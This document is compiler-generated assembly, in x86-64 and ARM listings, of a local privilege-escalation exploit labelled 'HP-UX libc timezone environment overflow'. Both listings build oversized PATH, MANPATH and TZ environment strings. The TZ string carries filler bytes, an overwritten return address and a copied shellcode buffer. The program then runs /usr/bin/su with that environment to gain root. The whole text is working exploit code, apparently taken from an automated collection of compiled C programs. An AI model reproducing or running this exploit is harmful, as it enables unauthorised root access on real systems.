	.file	"extr_2636.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"PATH="
.LC1:
	.string	"MANPATH="
.LC2:
	.string	"TZ="
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC3:
	.string	"[ HP-UX libc timezone environment overflow\n"
	.section	.rodata.str1.1
.LC4:
	.string	"pdk"
.LC5:
	.string	"/usr/bin/su"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	mov	edi, 126
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	push	rbx
	.cfi_def_cfa_offset 40
	.cfi_offset 3, -40
	mov	ebx, 2139030940
	sub	rsp, 56
	.cfi_def_cfa_offset 96
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 40[rsp], rax
	xor	eax, eax
	mov	QWORD PTR 32[rsp], 283934591
	mov	QWORD PTR 36[rsp], 94142335
	call	malloc@PLT
	mov	edx, 126
	xor	esi, esi
	mov	rbp, rax
	mov	rdi, rax
	call	memset@PLT
	lea	rsi, .LC0[rip]
	mov	rdi, rbp
	call	sprintf@PLT
	lea	rdx, 5[rbp]
	mov	ecx, 127
	xor	eax, eax
	jmp	.L3
	.p2align 4,,10
	.p2align 3
.L15:
	mov	edx, eax
	and	edx, 3
	movzx	ecx, BYTE PTR 36[rsp+rdx]
	mov	rdx, rsi
.L3:
	add	eax, 1
	mov	BYTE PTR [rdx], cl
	lea	rsi, 1[rdx]
	cmp	eax, 120
	jne	.L15
	mov	edi, 809
	mov	QWORD PTR [rsp], rbp
	call	malloc@PLT
	mov	edx, 809
	xor	esi, esi
	mov	rbp, rax
	mov	rdi, rax
	call	memset@PLT
	lea	rsi, .LC1[rip]
	mov	rdi, rbp
	call	sprintf@PLT
	lea	rdx, 8[rbp]
	mov	ecx, 127
	xor	eax, eax
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L16:
	mov	edx, eax
	and	edx, 3
	movzx	ecx, BYTE PTR 36[rsp+rdx]
	mov	rdx, rsi
.L5:
	add	eax, 1
	mov	BYTE PTR [rdx], cl
	lea	rsi, 1[rdx]
	cmp	eax, 800
	jne	.L16
	mov	edi, 3429
	mov	QWORD PTR 8[rsp], rbp
	call	malloc@PLT
	mov	edx, 3427
	xor	esi, esi
	mov	rbp, rax
	mov	rdi, rax
	call	memset@PLT
	lea	rsi, .LC2[rip]
	mov	rdi, rbp
	call	sprintf@PLT
	lea	rdx, 3[rbp]
	mov	ecx, 127
	xor	eax, eax
	jmp	.L8
	.p2align 4,,10
	.p2align 3
.L6:
	mov	edx, eax
	and	edx, 3
	movzx	ecx, BYTE PTR 36[rsp+rdx]
	mov	rdx, rsi
.L8:
	add	eax, 1
	mov	BYTE PTR [rdx], cl
	lea	rsi, 1[rdx]
	cmp	eax, 2384
	jne	.L6
	mov	eax, ebx
	shr	ebx, 8
	mov	ecx, 127
	mov	BYTE PTR 2387[rbp], -100
	sar	eax, 24
	mov	WORD PTR 2388[rbp], bx
	lea	rdx, 2391[rbp]
	mov	BYTE PTR 2390[rbp], al
	xor	eax, eax
	jmp	.L7
	.p2align 4,,10
	.p2align 3
.L17:
	mov	edx, eax
	and	edx, 3
	movzx	ecx, BYTE PTR 32[rsp+rdx]
	mov	rdx, rsi
.L7:
	add	eax, 1
	mov	BYTE PTR [rdx], cl
	lea	rsi, 1[rdx]
	cmp	eax, 1002
	jne	.L17
	xor	ebx, ebx
	lea	r13, 3393[rbp]
	jmp	.L9
	.p2align 4,,10
	.p2align 3
.L10:
	mov	rax, QWORD PTR shellcode[rip]
	mov	eax, DWORD PTR [rax+rbx*4]
	add	rbx, 1
	mov	BYTE PTR [r12], al
.L9:
	mov	rdi, QWORD PTR shellcode[rip]
	lea	r12, 0[r13+rbx]
	call	strlen@PLT
	cmp	eax, ebx
	jg	.L10
	lea	rdi, .LC3[rip]
	mov	QWORD PTR 16[rsp], rbp
	mov	QWORD PTR 24[rsp], 0
	call	printf@PLT
	xor	edx, edx
	mov	rcx, rsp
	lea	rsi, .LC4[rip]
	lea	rdi, .LC5[rip]
	call	execle@PLT
	mov	rax, QWORD PTR 40[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L18
	add	rsp, 56
	.cfi_remember_state
	.cfi_def_cfa_offset 40
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
.L18:
	.cfi_restore_state
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_2636.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"PATH=\000"
	.align	2
.LC1:
	.ascii	"MANPATH=\000"
	.align	2
.LC2:
	.ascii	"TZ=\000"
	.align	2
.LC3:
	.ascii	"[ HP-UX libc timezone environment overflow\012\000"
	.align	2
.LC4:
	.ascii	"pdk\000"
	.align	2
.LC5:
	.ascii	"/usr/bin/su\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC6:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, lr}
	ldr	r3, .L22
	ldr	ip, .L22+4
	ldr	r1, .L22+8
	ldr	r2, .L22+12
	sub	sp, sp, #36
	mov	r0, #126
	ldr	ip, [ip]
	str	ip, [sp, #28]
	mov	ip,#0
	str	r3, [sp, #24]
	str	r1, [sp, #16]
	str	r2, [sp, #20]
	bl	malloc
	mov	r4, r0
	mov	r2, #126
	mov	r1, #0
	bl	memset
	mov	r0, r4
	ldr	r1, .L22+16
	bl	sprintf
	mov	r2, #127
	mov	r3, #0
	b	.L3
.L18:
	and	r2, r3, #3
	add	r1, sp, #32
	add	r2, r1, r2
	ldrb	r2, [r2, #-12]	@ zero_extendqisi2
.L3:
	add	r1, r4, r3
	add	r3, r3, #1
	cmp	r3, #120
	strb	r2, [r1, #5]
	bne	.L18
	ldr	r0, .L22+20
	str	r4, [sp, #4]
	bl	malloc
	mov	r4, r0
	ldr	r2, .L22+20
	mov	r1, #0
	bl	memset
	mov	r0, r4
	ldr	r1, .L22+24
	bl	sprintf
	mov	r2, #127
	mov	r3, #0
	b	.L5
.L19:
	and	r2, r3, #3
	add	r1, sp, #32
	add	r2, r1, r2
	ldrb	r2, [r2, #-12]	@ zero_extendqisi2
.L5:
	add	r1, r4, r3
	add	r3, r3, #1
	cmp	r3, #800
	strb	r2, [r1, #8]
	bne	.L19
	ldr	r0, .L22+28
	str	r4, [sp, #8]
	bl	malloc
	mov	r4, r0
	ldr	r2, .L22+32
	mov	r1, #0
	bl	memset
	mov	r0, r4
	ldr	r1, .L22+36
	bl	sprintf
	mov	r2, #127
	mov	r3, #0
	b	.L8
.L6:
	and	r2, r3, #3
	add	r1, sp, #32
	add	r2, r1, r2
	ldrb	r2, [r2, #-12]	@ zero_extendqisi2
.L8:
	add	r1, r3, r4
	add	r3, r3, #1
	cmp	r3, #2384
	strb	r2, [r1, #3]
	bne	.L6
	mvn	r0, #99
	ldrb	r2, [sp, #26]	@ zero_extendqisi2
	ldrb	r3, [sp, #27]	@ zero_extendqisi2
	ldrb	r1, [sp, #25]	@ zero_extendqisi2
	strb	r0, [r4, #2387]
	strb	r2, [r4, #2389]
	strb	r3, [r4, #2390]
	mov	r2, #127
	mov	r3, #0
	ldr	r0, .L22+40
	strb	r1, [r4, #2388]
	b	.L7
.L20:
	and	r2, r3, #3
	add	r1, sp, #32
	add	r2, r1, r2
	ldrb	r2, [r2, #-16]	@ zero_extendqisi2
.L7:
	add	r1, r3, r4
	add	r3, r3, #1
	cmp	r3, r0
	strb	r2, [r1, #2391]
	bne	.L20
	ldr	r3, .L22+44
	add	r7, r4, #3392
	mov	r5, #0
	ldr	r6, [r3]
	add	r7, r7, #1
	b	.L10
.L11:
	ldr	r3, [r6, r5, lsl #2]
	strb	r3, [r7, r5]
	add	r5, r5, #1
.L10:
	mov	r0, r6
	bl	strlen
	cmp	r0, r5
	bgt	.L11
	mov	r5, #0
	ldr	r0, .L22+48
	str	r4, [sp, #12]
	str	r5, [sp, #16]
	bl	printf
	mov	r2, r5
	add	r3, sp, #4
	ldr	r1, .L22+52
	ldr	r0, .L22+56
	bl	execle
	ldr	r3, .L22+4
	ldr	r2, [r3]
	ldr	r3, [sp, #28]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L21
	mov	r0, r5
	add	sp, sp, #36
	@ sp needed
	pop	{r4, r5, r6, r7, pc}
.L21:
	bl	__stack_chk_fail
.L23:
	.align	2
.L22:
	.word	2139030940
	.word	.LC6
	.word	283934591
	.word	94142335
	.word	.LC0
	.word	809
	.word	.LC1
	.word	3429
	.word	3427
	.word	.LC2
	.word	1002
	.word	shellcode
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.size	main, .-main
	.comm	shellcode,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
